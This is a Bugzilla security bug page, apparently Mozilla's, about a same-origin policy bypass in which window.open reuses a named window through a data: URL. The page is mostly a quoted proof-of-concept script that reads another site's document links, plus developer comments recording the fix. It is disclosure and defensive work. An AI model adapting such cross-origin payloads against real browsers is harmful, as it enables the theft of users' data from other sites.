Closed
Bug 48723
Opened 24 years ago
Closed 24 years ago
Principal not updated when window is reassigned with window.open
Categories
(Core :: Security, defect, P3)
Core
Security
Tracking
()
VERIFIED
FIXED
M18
People
(Reporter: security-bugs, Assigned: security-bugs)
Details
(Whiteboard: [nsbeta3+])
This is similar to 47670 but I've fixed that one and this one is not resolved.
From:
Georgi Guninski <joro@nat.bg>
To:
Mitchell Stoltz <mstoltz@netscape.com>
The data: protocol allows circumventing same origin security policy
using window.open()
The code is:
----------------------------------------------------
<SCRIPT>
a=window.open("http://www.yahoo.com","a");
function f()
{
window.open("data:text/html;,data2<SCRIPT>b=window.open('http://www.yahoo.com');msg='The
first links is:
';setTimeout('alert(msg+b.document.links[0].href)',3000)</"+"SCRIPT>","a");
}
setTimeout("f()",3000);
</SCRIPT>
----------------------------------------------------
As with 47670, we need to assign the correct principal to the window when its
content is changed using window.open("new url","target"). This works for a data:
URL because it's inheriting its principal; only the referrer is wrong, it should
be the script principal rather than the previous page loaded in that window.
Assignee | ||
Comment 4•24 years ago
|
||
Fix checked in.
Assignee | ||
Comment 5•24 years ago
|
||
Really this time.
Status: ASSIGNED → RESOLVED
Closed: 24 years ago
Resolution: --- → FIXED
Assignee | ||
Comment 7•24 years ago
|
||
Opening fixed security bugs to the public.
Group: netscapeconfidential?
You need to log in
before you can comment on or make changes to this bug.
Description
•